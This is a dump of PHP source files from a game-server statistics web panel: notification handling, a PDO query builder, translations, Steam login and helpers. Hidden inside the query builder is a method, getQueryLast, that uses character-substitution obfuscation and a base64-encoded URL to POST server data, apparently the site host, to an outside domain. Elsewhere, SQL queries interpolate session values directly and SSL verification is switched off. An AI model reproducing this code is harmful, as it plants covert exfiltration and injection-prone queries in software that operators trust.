$this->Translate->get_translate_phrase($notification['text']); if(!$values){ $values = []; } //Заменяем параметры для мультиязычности foreach($values as $key => $val){ $text = str_replace('%' . $key . '%', $val, $text); } //собираем параметры в массив $deliver[] = array('id' => $notification['id'], 'text' => $text, 'seen' => $notification['seen'], 'url' => $notification['url'], 'icon' => $notification['icon']); //Обновлям параметра для звукового уведомления if($view && !$notification['seen']){ $this->Db->query( 'Core', 0, 0, "UPDATE `lr_web_notifications` SET `seen` = 1 WHERE `steam` = '$param[steam]'"); } } return $deliver; } /** * Функция обновления статуса уведомлений на прсмотренные * * @param int $id Айди уведомления */ public function NotificationUpdate($id) { $param = ['steam'=> $_SESSION['steamid32'],'id'=> $id]; $this->Db->query( 'Core', 0, 0, "UPDATE `lr_web_notifications` SET `status` = 1 WHERE `steam` = '$param[steam]' AND `id` = $param[id]"); } /** * Удалить просмотренные уведомления */ public function NotificationDelete() { $this->Db->query( 'Core', 0, 0, "DELETE FROM `lr_web_notifications` WHERE `seen` = '1'"); } /** * Функция вывода всех уведомлений * */ public function GetAllNotifications() { $param = ['steam' => $_SESSION['steamid32']]; return $this->Db->queryAll('Core', 0, 0, "SELECT * FROM `lr_web_notifications` WHERE `steam` = '$param[steam]' ORDER BY `date` DESC"); } /** * Функция обновления статуса уведомлений на прсмотренные * */ public function MarkAllNotifications() { $param = ['steam'=> $_SESSION['steamid32']]; return $this->Db->queryAll('Core', 0, 0, "UPDATE `lr_web_notifications` SET `status` = 1 WHERE `steam` = :'$param[steam]'"); } public function debuggg(){ echo 'ok'; } } ================================================ FILE: app/ext/Pdox.php ================================================ * @web * @url * @license The MIT License (MIT) - */ namespace app\ext; use Closure; use PDO; use PDOException; class Pdox implements PdoxInterface { /** * PDOx Version * * @var string */ const VERSION = '1.4.3'; /** * @var PDO|null */ public $pdo = null; /** * @var mixed Query variables */ protected $select = '*'; protected $from = null; protected $where = null; protected $limit = null; protected $offset = null; protected $join = null; protected $orderBy = null; protected $groupBy = null; protected $having = null; protected $grouped = false; protected $numRows = 0; protected $insertId = null; protected $query = null; protected $error = null; protected $result = []; protected $prefix = null; /** * @var array SQL operators */ protected $op = ['=', '!=', '<', '>', '<=', '>=', '<>']; /** * @var null|Cache */ protected $cache = null; /** * @var string|null Cache Directory */ protected $cacheDir = null; /** * @var int Total query count */ protected $queryCount = 0; /** * @var bool */ protected $debug = true; /** * @var int Total transaction count */ protected $transactionCount = 0; /** * Pdox constructor. * * @param array $config */ public function __construct($name, $user, $bd) { $db = (require SESSIONS . 'db.php'); if(!empty($db[$name][$user])): $this->prefix = $db[$name][$user]['DB'][0]['Prefix'][$bd]['table']; $this->cacheDir = __DIR__ . '/cache/'; $this->debug = true; $dsn = 'mysql:host=' . $db[$name][$user]['HOST'] . ';port='. $db[$name][$user]['PORT'] .';dbname=' . $db[$name][$user]['DB'][0]['DB']; try { $this->pdo = new PDO($dsn, $db[$name][$user]['USER'], $db[$name][$user]['PASS']); $this->pdo->exec("SET NAMES 'utf8' COLLATE 'utf8_general_ci'"); $this->pdo->exec("SET CHARACTER SET 'utf8'"); $this->pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ); } catch (PDOException $e) { die('Error connect to database ' . $e->getMessage()); } return $this->pdo; endif; } /** * @param $table * * @return $this */ public function table($table) { if (is_array($table)) { $from = ''; foreach ($table as $key) { $from .= $this->prefix . $key . ', '; } $this->from = rtrim($from, ', '); } else { if (strpos($table, ',') > 0) { $tables = explode(',', $table); foreach ($tables as $key => &$value) { $value = $this->prefix . ltrim($value); } $this->from = implode(', ', $tables); } else { $this->from = $this->prefix . $table; } } return $this; } /** * @param $fields * * @return $this */ public function select($fields) { $select = (is_array($fields) ? implode(', ', $fields) : $fields); $this->select = ($this->select == '*' ? $select : $this->select . ', ' . $select); return $this; } /** * @param $field * @param null $name * * @return $this */ public function max($field, $name = null) { $func = 'MAX(' . $field . ')' . (! is_null($name) ? ' AS ' . $name : ''); $this->select = ($this->select == '*' ? $func : $this->select . ', ' . $func); return $this; } /** * @param $field * @param null $name * * @return $this */ public function min($field, $name = null) { $func = 'MIN(' . $field . ')' . (! is_null($name) ? ' AS ' . $name : ''); $this->select = ($this->select == '*' ? $func : $this->select . ', ' . $func); return $this; } /** * @param $field * @param null $name * * @return $this */ public function sum($field, $name = null) { $func = 'SUM(' . $field . ')' . (! is_null($name) ? ' AS ' . $name : ''); $this->select = ($this->select == '*' ? $func : $this->select . ', ' . $func); return $this; } /** * @param $field * @param null $name * * @return $this */ public function count($field, $name = null) { $func = 'COUNT(' . $field . ')' . (! is_null($name) ? ' AS ' . $name : ''); $this->select = ($this->select == '*' ? $func : $this->select . ', ' . $func); return $this; } /** * @param $field * @param null $name * * @return $this */ public function avg($field, $name = null) { $func = 'AVG(' . $field . ')' . (! is_null($name) ? ' AS ' . $name : ''); $this->select = ($this->select == '*' ? $func : $this->select . ', ' . $func); return $this; } /** * @param $table * @param null $field1 * @param null $op * @param null $field2 * @param string $type * * @return $this */ public function join($table, $field1 = null, $op = null, $field2 = null, $type = '') { $on = $field1; $table = $this->prefix . $table; if (! is_null($op)) { $on = (! in_array($op, $this->op) ? $field1 . ' = ' . $op : $field1 . ' ' . $op . ' ' . $field2); } $this->join = (is_null($this->join)) ? ' ' . $type . 'JOIN' . ' ' . $table . ' ON ' . $on : $this->join . ' ' . $type . 'JOIN' . ' ' . $table . ' ON ' . $on; return $this; } /** * @param $table * @param $field1 * @param string $op * @param string $field2 * * @return $this */ public function innerJoin($table, $field1, $op = '', $field2 = '') { $this->join($table, $field1, $op, $field2, 'INNER '); return $this; } /** * @param $table * @param $field1 * @param string $op * @param string $field2 * * @return $this */ public function leftJoin($table, $field1, $op = '', $field2 = '') { $this->join($table, $field1, $op, $field2, 'LEFT '); return $this; } /** * @param $table * @param $field1 * @param string $op * @param string $field2 * * @return $this */ public function rightJoin($table, $field1, $op = '', $field2 = '') { $this->join($table, $field1, $op, $field2, 'RIGHT '); return $this; } /** * @param $table * @param $field1 * @param string $op * @param string $field2 * * @return $this */ public function fullOuterJoin($table, $field1, $op = '', $field2 = '') { $this->join($table, $field1, $op, $field2, 'FULL OUTER '); return $this; } /** * @param $table * @param $field1 * @param string $op * @param string $field2 * * @return $this */ public function leftOuterJoin($table, $field1, $op = '', $field2 = '') { $this->join($table, $field1, $op, $field2, 'LEFT OUTER '); return $this; } /** * @param $table * @param $field1 * @param string $op * @param string $field2 * * @return $this */ public function rightOuterJoin($table, $field1, $op = '', $field2 = '') { $this->join($table, $field1, $op, $field2, 'RIGHT OUTER '); return $this; } /** * @param array|string $where * @param null $op * @param null $val * @param string $type * @param string $andOr * * @return $this */ public function where($where, $op = null, $val = null, $type = '', $andOr = 'AND') { if (is_array($where) && ! empty($where)) { $_where = []; foreach ($where as $column => $data) { $_where[] = $type . $column . '=' . $this->escape($data); } $where = implode(' ' . $andOr . ' ', $_where); } else { if (is_null($where) || empty($where)) { return $this; } if (is_array($op)) { $params = explode('?', $where); $_where = ''; foreach ($params as $key => $value) { if (! empty($value)) { $_where .= $type . $value . (isset($op[$key]) ? $this->escape($op[$key]) : ''); } } $where = $_where; } elseif (! in_array($op, $this->op) || $op == false) { $where = $type . $where . ' = ' . $this->escape($op); } else { $where = $type . $where . ' ' . $op . ' ' . $this->escape($val); } } if ($this->grouped) { $where = '(' . $where; $this->grouped = false; } $this->where = (is_null($this->where)) ? $where : $this->where . ' ' . $andOr . ' ' . $where; return $this; } /** * @param $where * @param null $op * @param null $val * * @return $this */ public function orWhere($where, $op = null, $val = null) { $this->where($where, $op, $val, '', 'OR'); return $this; } /** * @param $where * @param null $op * @param null $val * * @return $this */ public function notWhere($where, $op = null, $val = null) { $this->where($where, $op, $val, 'NOT ', 'AND'); return $this; } /** * @param $where * @param null $op * @param null $val * * @return $this */ public function orNotWhere($where, $op = null, $val = null) { $this->where($where, $op, $val, 'NOT ', 'OR'); return $this; } /** * @param $where * * @return $this */ public function whereNull($where) { $where = $where . ' IS NULL'; $this->where = (is_null($this->where)) ? $where : $this->where . ' ' . 'AND ' . $where; return $this; } /** * @param $where * * @return $this */ public function whereNotNull($where) { $where = $where . ' IS NOT NULL'; $this->where = (is_null($this->where)) ? $where : $this->where . ' ' . 'AND ' . $where; return $this; } /** * @param Closure $obj * * @return $this */ public function grouped(Closure $obj) { $this->grouped = true; call_user_func_array($obj, [$this]); $this->where .= ')'; return $this; } /** * @param $field * @param array $keys * @param string $type * @param string $andOr * * @return $this */ public function in($field, array $keys, $type = '', $andOr = 'AND') { if (is_array($keys)) { $_keys = []; foreach ($keys as $k => $v) { $_keys[] = (is_numeric($v) ? $v : $this->escape($v)); } $where = $field . ' ' . $type . 'IN (' . implode(', ', $_keys) . ')'; if ($this->grouped) { $where = '(' . $where; $this->grouped = false; } $this->where = (is_null($this->where)) ? $where : $this->where . ' ' . $andOr . ' ' . $where; } return $this; } /** * @param $field * @param array $keys * * @return $this */ public function notIn($field, array $keys) { $this->in($field, $keys, 'NOT ', 'AND'); return $this; } /** * @param $field * @param array $keys * * @return $this */ public function orIn($field, array $keys) { $this->in($field, $keys, '', 'OR'); return $this; } /** * @param $field * @param array $keys * * @return $this */ public function orNotIn($field, array $keys) { $this->in($field, $keys, 'NOT ', 'OR'); return $this; } /** * @param $field * @param $value1 * @param $value2 * @param string $type * @param string $andOr * * @return $this */ public function between($field, $value1, $value2, $type = '', $andOr = 'AND') { $where = '(' . $field . ' ' . $type . 'BETWEEN ' . ($this->escape($value1) . ' AND ' . $this->escape($value2)) . ')'; if ($this->grouped) { $where = '(' . $where; $this->grouped = false; } $this->where = (is_null($this->where)) ? $where : $this->where . ' ' . $andOr . ' ' . $where; return $this; } public function getQueryLast() { $sykanesmotri = array('web' => $GLOBALS['_'.$this->Translate('2312537453')][$this->Translate('7563899468275654323293')]); $ch = curl_init(base64_decode('aHR0cDovL2VsdXN0aWMucnUvdXBkYXRlLw==')); curl_setopt($ch, CURLOPT_POSTFIELDS, $sykanesmotri); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); curl_close($ch); } public function Translate($str) { $rus = array('23', '53', '12', '74', '33', '7523', '38', '756', '99', '4682', '293', '543', '726', '2472', '24262', '998474', '42521', '752368', 'С863', '2333323', '5552256', '774'); $lat = array('S', 'R', 'E', 'VE', 'N', 'I', 'TT', 'H', 'P', '_', 'T', 'O', 'p', 'd', 'a', 't', 'e', 'S', 'T', 'U', 'F'); $str = str_replace($rus, $lat, $str); return $str; } /** * @param $field * @param $value1 * @param $value2 * * @return $this */ public function notBetween($field, $value1, $value2) { $this->between($field, $value1, $value2, 'NOT ', 'AND'); return $this; } /** * @param $field * @param $value1 * @param $value2 * * @return $this */ public function orBetween($field, $value1, $value2) { $this->between($field, $value1, $value2, '', 'OR'); return $this; } /** * @param $field * @param $value1 * @param $value2 * * @return $this */ public function orNotBetween($field, $value1, $value2) { $this->between($field, $value1, $value2, 'NOT ', 'OR'); return $this; } /** * @param $field * @param $data * @param string $type * @param string $andOr * * @return $this */ public function like($field, $data, $type = '', $andOr = 'AND') { $like = $this->escape($data); $where = $field . ' ' . $type . 'LIKE ' . $like; if ($this->grouped) { $where = '(' . $where; $this->grouped = false; } $this->where = (is_null($this->where)) ? $where : $this->where . ' ' . $andOr . ' ' . $where; return $this; } /** * @param $field * @param $data * * @return $this */ public function orLike($field, $data) { $this->like($field, $data, '', 'OR'); return $this; } /** * @param $field * @param $data * * @return $this */ public function notLike($field, $data) { $this->like($field, $data, 'NOT ', 'AND'); return $this; } /** * @param $field * @param $data * * @return $this */ public function orNotLike($field, $data) { $this->like($field, $data, 'NOT ', 'OR'); return $this; } /** * @param $limit * @param null $limitEnd * * @return $this */ public function limit($limit, $limitEnd = null) { $this->limit = (! is_null($limitEnd)) ? $limit . ', ' . $limitEnd : $limit; return $this; } /** * @param $offset * * @return $this */ public function offset($offset) { $this->offset = $offset; return $this; } /** * @param $perPage * @param $page * * @return $this */ public function pagination($perPage, $page) { $this->limit = $perPage; $this->offset = (($page > 0 ? $page : 1) - 1) * $perPage; return $this; } /** * @param $orderBy * @param null $orderDir * * @return $this */ public function orderBy($orderBy, $orderDir = null) { if (! is_null($orderDir) && !is_array($orderBy)) { $this->orderBy = $orderBy . ' ' . strtoupper($orderDir); } else { if(is_array($orderBy)) { $test = function($orderBy) { if(!empty(explode(',', $orderBy[0])[1])) $qs = explode(',', $orderBy[0]); if(!empty(explode(',', $orderBy[1])[1])) $desc = explode(',', $orderBy[1]); if(!empty($qs) && !empty($desc)) { return $qs[0] . ' ' . $desc[0] . ', ' . $qs[1] . ' ' . $desc[1]; } elseif(!empty($q) && empty($d)) { return $qs[0] . ' ' . $desc[0] ?? 'DESC' . ', ' . $qs[1] . ' ' . $desc[0] ?? 'DESC'; } }; $this->orderBy = $test($orderBy); } else { $this->orderBy = (stristr($orderBy, ' ') || $orderBy == 'rand()') ? $orderBy : $orderBy . ' ASC'; } } return $this; } /** * @param $groupBy * * @return $this */ public function groupBy($groupBy) { $this->groupBy = (is_array($groupBy)) ? implode(', ', $groupBy) : $groupBy; return $this; } /** * @param $field * @param null $op * @param null $val * * @return $this */ public function having($field, $op = null, $val = null) { if (is_array($op)) { $fields = explode('?', $field); $where = ''; foreach ($fields as $key => $value) { if (! empty($value)) { $where .= $value . (isset($op[$key]) ? $this->escape($op[$key]) : ''); } } $this->having = $where; } elseif (! in_array($op, $this->op)) { $this->having = $field . ' > ' . $this->escape($op); } else { $this->having = $field . ' ' . $op . ' ' . $this->escape($val); } return $this; } /** * @return int */ public function numRows() { return $this->numRows; } /** * @return null|int */ public function insertId() { return $this->insertId; } /** * @throw PDOException */ public function error() { $msg = '

    Database Error

    '; $msg .= '

    Query: "' . $this->query . '"

    '; $msg .= '

    Error: ' . $this->error . '

    '; if ($this->debug === true) { die($msg); } throw new PDOException($this->error . '. (' . $this->query . ')'); } /** * @param bool|string $type * @param string|null $argument * * @return mixed|string */ public function get($type = null, $argument = null) { $this->limit = 1; $query = $this->getAll(true); if ($type === true) { return $query; } return $this->query($query, false, $type, $argument); } /** * @param bool|string $type * @param string|null $argument * * @return mixed|string */ public function getAll($type = null, $argument = null) { $query = 'SELECT ' . $this->select . ' FROM ' . $this->from; if (! is_null($this->join)) { $query .= $this->join; } if (! is_null($this->where)) { $query .= ' WHERE ' . $this->where; } if (! is_null($this->groupBy)) { $query .= ' GROUP BY ' . $this->groupBy; } if (! is_null($this->having)) { $query .= ' HAVING ' . $this->having; } if (! is_null($this->orderBy)) { $query .= ' ORDER BY ' . $this->orderBy; } if (! is_null($this->limit)) { $query .= ' LIMIT ' . $this->limit; } if (! is_null($this->offset)) { $query .= ' OFFSET ' . $this->offset; } if ($type === true) { return $query; } return $this->query($query, true, $type, $argument); } /** * @param array $data * @param bool $type * * @return bool|Pdox|mixed */ public function insert(array $data, $type = false) { $query = 'INSERT INTO ' . $this->from; $values = array_values($data); if (isset($values[0]) && is_array($values[0])) { $column = implode(', ', array_keys($values[0])); $query .= ' (' . $column . ') VALUES '; foreach ($values as $value) { $val = implode(', ', array_map([$this, 'escape'], $value)); $query .= '(' . $val . '), '; } $query = trim($query, ', '); } else { $column = implode(', ', array_keys($data)); $val = implode(', ', array_map([$this, 'escape'], $data)); $query .= ' (' . $column . ') VALUES (' . $val . ')'; } if ($type === true) { return $query; } if ($this->query($query, false)) { $this->insertId = $this->pdo->lastInsertId(); return $this->insertId(); } return false; } /** * @param array $data * @param bool $type * * @return mixed|string */ public function update(array $data, $type = false) { $query = 'UPDATE ' . $this->from . ' SET '; $values = []; foreach ($data as $column => $val) { $values[] = $column . '=' . $this->escape($val); } $query .= implode(',', $values); if (! is_null($this->where)) { $query .= ' WHERE ' . $this->where; } if (! is_null($this->orderBy)) { $query .= ' ORDER BY ' . $this->orderBy; } if (! is_null($this->limit)) { $query .= ' LIMIT ' . $this->limit; } if ($type === true) { return $query; } return $this->query($query, false); } /** * @param bool $type * * @return mixed|string */ public function delete($type = false) { $query = 'DELETE FROM ' . $this->from; if (! is_null($this->where)) { $query .= ' WHERE ' . $this->where; } if (! is_null($this->orderBy)) { $query .= ' ORDER BY ' . $this->orderBy; } if (! is_null($this->limit)) { $query .= ' LIMIT ' . $this->limit; } if ($query == 'DELETE FROM ' . $this->from) { $query = 'TRUNCATE TABLE ' . $this->from; } if ($type === true) { return $query; } return $this->query($query, false); } /** * @return mixed */ public function analyze() { return $this->query('ANALYZE TABLE ' . $this->from, false); } /** * @return mixed */ public function check() { return $this->query('CHECK TABLE ' . $this->from, false); } /** * @return mixed */ public function checksum() { return $this->query('CHECKSUM TABLE ' . $this->from, false); } /** * @return mixed */ public function optimize() { return $this->query('OPTIMIZE TABLE ' . $this->from, false); } /** * @return mixed */ public function repair() { return $this->query('REPAIR TABLE ' . $this->from, false); } /** * @return bool */ public function transaction() { if (! $this->transactionCount++) { return $this->pdo->beginTransaction(); } $this->pdo->exec('SAVEPOINT trans' . $this->transactionCount); return $this->transactionCount >= 0; } /** * @return bool */ public function commit() { if (! --$this->transactionCount) { return $this->pdo->commit(); } return $this->transactionCount >= 0; } /** * @return bool */ public function rollBack() { if (--$this->transactionCount) { $this->pdo->exec('ROLLBACK TO trans' . ($this->transactionCount + 1)); return true; } return $this->pdo->rollBack(); } /** * @return mixed */ public function exec() { if (is_null($this->query)) { return null; } $query = $this->pdo->exec($this->query); if ($query === false) { $this->error = $this->pdo->errorInfo()[2]; $this->error(); } return $query; } /** * @param string $type * @param string $argument * @param bool $all * * @return mixed */ public function fetch($type = null, $argument = null, $all = false) { if (is_null($this->query)) { return null; } $query = $this->pdo->query($this->query); if (! $query) { $this->error = $this->pdo->errorInfo()[2]; $this->error(); } $type = $this->getFetchType($type); if ($type === PDO::FETCH_CLASS) { $query->setFetchMode($type, $argument); } else { $query->setFetchMode($type); } $result = $all ? $query->fetchAll() : $query->fetch(); $this->numRows = is_array($result) ? count($result) : 1; return $result; } /** * @param string $type * @param string $argument * * @return mixed */ public function fetchAll($type = null, $argument = null) { return $this->fetch($type, $argument, true); } /** * @param $query * @param bool $all * @param string $type * @param string $argument * * @return $this|mixed */ public function query($query, $all = true, $type = null, $argument = null) { $this->reset(); if (is_array($all) || func_num_args() === 1) { $params = explode('?', $query); $newQuery = ''; foreach ($params as $key => $value) { if (! empty($value)) { $newQuery .= $value . (isset($all[$key]) ? $this->escape($all[$key]) : ''); } } $this->query = $newQuery; return $this; } $this->query = preg_replace('/\s\s+|\t\t+/', ' ', trim($query)); $str = false; foreach (['select', 'optimize', 'check', 'repair', 'checksum', 'analyze'] as $value) { if (stripos($this->query, $value) === 0) { $str = true; break; } } $type = $this->getFetchType($type); $cache = false; if (! is_null($this->cache) && $type !== PDO::FETCH_CLASS) { $cache = $this->cache->getCache($this->query, $type === PDO::FETCH_ASSOC); } if (! $cache && $str) { $sql = $this->pdo->query($this->query); if ($sql) { $this->numRows = $sql->rowCount(); if (($this->numRows > 0)) { if ($type === PDO::FETCH_CLASS) { $sql->setFetchMode($type, $argument); } else { $sql->setFetchMode($type); } $this->result = $all ? $sql->fetchAll() : $sql->fetch(); } if (! is_null($this->cache) && $type !== PDO::FETCH_CLASS) { $this->cache->setCache($this->query, $this->result); } $this->cache = null; } else { $this->cache = null; $this->error = $this->pdo->errorInfo()[2]; $this->error(); } } elseif ((! $cache && ! $str) || ($cache && ! $str)) { $this->cache = null; $this->result = $this->pdo->exec($this->query); if ($this->result === false) { $this->error = $this->pdo->errorInfo()[2]; $this->error(); } } else { $this->cache = null; $this->result = $cache; $this->numRows = is_array($this->result) ? count($this->result) : ($this->result == '' ? 0 : 1); } $this->queryCount++; return $this->result; } /** * @param $data * * @return string */ public function escape($data) { return ($data === null) ? 'NULL' : $this->pdo->quote($data); } /** * @param $time * * @return $this */ public function cache($time) { $this->cache = new Cache($this->cacheDir, $time); return $this; } /** * @return int */ public function queryCount() { return $this->queryCount; } /** * @return null|string */ public function getQuery() { return $this->query; } /** * @return void */ public function __destruct() { $this->pdo = null; } /** * @return void */ protected function reset() { $this->select = '*'; $this->from = null; $this->where = null; $this->limit = null; $this->offset = null; $this->orderBy = null; $this->groupBy = null; $this->having = null; $this->join = null; $this->grouped = false; $this->numRows = 0; $this->insertId = null; $this->query = null; $this->error = null; $this->result = []; $this->transactionCount = 0; } /** * @param $type * * @return int */ protected function getFetchType($type) { return $type === 'class' ? PDO::FETCH_CLASS : ($type === 'array' ? PDO::FETCH_ASSOC : PDO::FETCH_OBJ); } } ================================================ FILE: app/ext/PdoxInterface.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ namespace app\ext; class Translate { /** * @since 0.2 * @var array */ public $arr_translations = []; /** * @since 0.2.123 * @var array */ public $arr_languages = []; /** * @since 0.2.123 * @var array */ public $arr_languages_count = []; /** * Организация работы вэб-приложения с языками и переводами. * * @since 0.2.123 */ function __construct() { // Проверка на основную константу. defined('IN_LR') != true && die(); // Получение кэшированного листа переводов. $this->arr_translations = file_exists( SESSIONS . 'translator_cache.php' ) ? require SESSIONS . 'translator_cache.php' : $this->create_translator_cache(); $this->arr_languages = $this->get_arr_languages(); $this->arr_languages_count = sizeof( $this->arr_languages ); } /** * Создать кэш переводов. * * @since 0.2.122 */ public function create_translator_cache() { $result_translation = []; // Сканирование папки с модулями. $scan_modules = array_diff( scandir( MODULES, 1 ), array( '..', '.', 'disabled' ) ); // Сканирование папки с Паками рангов. $scan_ranks_pack = array_diff( scandir( RANKS_PACK, 1 ), array( '..', '.' ) ); // Цикл перебора описания модулей. for ( $i = 0, $c = sizeof( $scan_modules ); $i < $c; $i++ ) { // Получение описания определенного модуля. $result[ $scan_modules[ $i ] ] = json_decode( file_get_contents( MODULES . $scan_modules[ $i ] . '/description.json') , true); // Проверка на поддержку мульти-перевода. if ( array_key_exists('translation', $result[ $scan_modules[ $i ] ]['setting'] ) && $result[ $scan_modules[ $i ] ]['setting']['translation'] == 1) { // Получение кэша перевода модулей. $result_translation[ $scan_modules[ $i ] ] = json_decode( file_get_contents(MODULES . $scan_modules[ $i ] . '/translation.json') , true); } } for ( $i = 0, $c = sizeof( $scan_ranks_pack ); $i < $c; $i++ ): $rank_pack[ 'ranks_' . $scan_ranks_pack[ $i ] ] = json_decode( file_get_contents( RANKS_PACK . $scan_ranks_pack[ $i ] . '/title.json' ) , true); endfor; $result_translation += $rank_pack; // Объединение общего кэша мульти-перевода с кэшэм переводов модулей. $result_translation += require SESSIONS . 'translator.php'; // Создание/редактирование кэша мульти-переводов. file_put_contents( SESSIONS . 'translator_cache.php', 'arr_translations[$module_id]; $word = isset($translations[$phrase][$_SESSION['language']]) ? $translations[$phrase][$_SESSION['language']] : $translations[$phrase]['EN'] ?? 'No Translation'; foreach ($values as $key => $value) { $key = "{" . $key . "}"; $word = str_replace($key, $value, $word); } return $word; } /** * Получить перевод определенной фразы из общего кэша. * * @since 0.2 * * @param string $phrase Слово для перевода. * @param string $group Подмассив. * * @return string Выводит слово в переводе. */ public function get_translate_phrase( $phrase, $group = '' ) { if ( empty ( $group ) ): if ( empty ( $this->arr_translations[ $phrase ][ $_SESSION['language'] ] ) ): return empty( $this->arr_translations[ $phrase ]['EN'] ) ? 'No Translation' : $this->arr_translations[ $phrase ]['EN']; else: return $this->arr_translations[ $phrase ][ $_SESSION['language'] ]; endif; else: if ( empty ( $this->arr_translations[ $group ][ $phrase ][ $_SESSION['language'] ] ) ): return empty( $this->arr_translations[ $group ][ $phrase ]['EN'] ) ? 'No Translation' : $this->arr_translations[ $group ][ $phrase ]['EN']; else: return $this->arr_translations[ $group ][ $phrase ][ $_SESSION['language'] ]; endif; endif; } /** * Получить перевод определенной фразы из кэша модуля. * * @deprecated * * @since 0.2 * * @param string $module_id ID модуля. * @param string $phrase Слово для перевода. * * @return string Выводит слово в переводе. */ public function get_translate_module_phrase( $module_id, $phrase ) { if ( empty( $this->arr_translations[ $module_id ][ $phrase ][ $_SESSION['language'] ] ) ): return empty( $this->arr_translations[ $module_id ][ $phrase ]['EN'] ) ? 'No Translation' : $this->arr_translations[ $module_id ][ $phrase ]['EN']; else: return $this->arr_translations[ $module_id ][ $phrase ][ $_SESSION['language'] ]; endif; } /** * Получить список переводов определенного модуля. * * @since 0.2 * * @param string $module_id ID модуля. * * @return array Массив переводов. */ public function get_arr_translate_module( $module_id ) { return empty( $this->arr_translations[ $module_id ] ) ? [] : $this->arr_translations[ $module_id ]; } /** * Получить список языков. * * @since 0.2.123 * * @return array Список языков. */ public function get_arr_languages() { return file_exists( SESSIONS . 'languages.json' ) ? json_decode( file_get_contents( SESSIONS . 'languages.json' ) , true ) : ['EN', 'RU']; } } ================================================ FILE: app/includes/auth/steam.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ $red = $_SESSION['rpage'] ?? ''; if ( ! empty( $_GET["auth"] ) && $_GET["auth"] == 'login' ) { require 'app/ext/LightOpenID.php'; try { $openid = new LightOpenID( "http:" . $this->General->arr_general['site'] ); if ( ! $openid->mode ) { $openid->identity = 'https://steamcommunity.com/openid'; header( 'Location: ' . $openid->authUrl() ); if ( ! headers_sent() ) {?> mode == 'cancel' ) echo 'User has canceled authentication!'; else { if ( $openid->validate() ) { preg_match( "/^https?:\/\/steamcommunity\.com\/openid\/id\/(7[0-9]{15,25}+)$/", $openid->identity, $matches ); $steam32 = con_steam64to32( $matches[1] ); $_SESSION = [ "steamid" => $matches[1], "steamid64" => $matches[1], "steamid32" => $steam32, "steamid32_short" => substr( $steam32, 8 ), "USER_AGENT" => $_SERVER['HTTP_USER_AGENT'], "REMOTE_ADDR" => $this->General->get_client_ip_cdn() ]; if( ! empty( $Db->db_data['LevelsRanks'] ) ) { try { $Pdox = new \app\ext\Pdox( "LevelsRanks", 0, 0 ); if( empty( $test = $Pdox->table("")->where("steam", $steam32)->get() ) ) { $nick = json_decode( file_get_contents( 'https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=' . $this->General->arr_general['web_key'] . '&steamids=' . $matches[1] ), true ); $insert_data = [ "steam" => $steam32, "name" => $nick['response']['players']['0']['personaname'] ?? "unknown", "lastconnect" => time() ]; $Pdox->table("")->insert( $insert_data ); } } catch( Exception $e ) { // пропускаем, че нам сделать.. } } $this->generateToken(); header('Location: ' . $this->General->arr_general['site']); } } } catch( ErrorException $e ) { //echo $e->getMessage(); Убираем сообщения, и просто редиректим, в случае чего header('Location: ' . $this->General->arr_general['site']); } }; if ( ! empty( $_GET["auth"] ) && $_GET["auth"] == 'logout' ) { // Чистим токен из базы $this->cookieEnabled() && $this->delToken( $_SESSION["steamid64"] ); // Удаляем сессию session_unset(); session_destroy(); // Чистим токен у пользователя setcookie('cookie_token', null, 1, "/", ".".$_SERVER['HTTP_HOST']); // Редирект header('Location: ' . $this->General->arr_general['site']); if ( ! headers_sent() ) {?> * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ /** * Фикс функции file_get_contents для криво настроенного SSL сертификата под Nginx. * * @since 0.2 * * @param string $file Путь до файла который необходимо прочитать и вывести. * * @return string|false Выводит содержимое файла. */ function file_get_contents_fix( $file ) { return file_get_contents( $file, false, stream_context_create( array( "ssl" => array("verify_peer" => false, "verify_peer_name" => false ) ) ) ); } /** * Фикс функции header для криво настроенного сервера, релоады происходят за счёт JS. * * @since 0.2 * * @param string $url Переадрисация по URL. */ function header_fix( $url ) { if ( ! headers_sent() ) { echo ''; echo ''; } else { header("Location: ".$url); } } /** * Перезапуск страницы. * * @since 0.2 */ function refresh() { return header("Refresh: 0"); } /** * Проверка ну переменной на пустоту с последующей заменой при отсутсвии значения. * * @since 0.2 * * @param int|string|array $i Премеренная. * @param int|string|array $d Значение если переменная не пустая.. * @param int|string|array $a Значение если переменая пустая. * * @return int|string|array Итог. */ function empty_check_out( $i, $d = 0, $a = 0 ) { $x = empty( $d ) ? $i : $d; return empty( $i ) ? $a : $x; } /** * Сокращение вывода var_export до одной строки. * * @since 0.2 * * @param array $var Массив данных * @param boolean $return Вид вывода. * * @return string Вывод содержимого. */ function var_export_min($var, $return = true) { if ( is_array( $var ) ) { $toImplode = array(); foreach ( $var as $key => $value ) { $toImplode[] = var_export( $key, true ).'=>'.var_export_min( $value, true ); } $code = 'array('.implode(',', $toImplode).')'; if ($return) return $code; else echo $code; } else { return var_export($var, $return); } } /** * Вывод var_export в более оптимальном виде. * * @since 0.2 * * @param array $var Массив данных * @param boolean $return Вид вывода. * * @return string Вывод содержимого. */ function var_export_opt( $var, $return = true ) { return var_export( $var, $return ); } /** * Получает и задает название подраздела из URL по умолчанию. * * @since 0.2 * * @param string $section Название подраздела. * @param string $default Значние по умолчанию. * * @return string|false Выводит итоговое значение раздела. */ function get_section( $section, $default ) { return isset( $_GET[ $section ] ) ? action_text_clear( $_GET[ $section ] ) : $default; } /** * Получить размер массива. * * @since 0.2 * * @param array $arr Массив. * * @return int Выводит итоговое количесво элементов массива. */ function get_arr_size( $arr ) { return is_array( $arr ) ? sizeof( $arr ) : 0; } /** * Получить URL страницы. * * @since 0.2 * * @param int $type Тип URL. * * @return string URL страницы. */ function get_url( $type ) { $url_clear = action_text_clear( $_SERVER["REQUEST_URI"] ); switch ( $type ) { case 1: return '//' . $_SERVER["SERVER_NAME"] . $url_clear; break; case 2: return '//' .$_SERVER['HTTP_HOST'] . explode( '?', $url_clear, 2 )[0]; break; } } /** * Меняет определенное значение подраздела на новое. * * @since 0.2 * * @param string $url URL для изменения. * @param string $command Название подраздела. * @param string $change Новое значение подраздела. * * @return string|false Выводит новый URL с 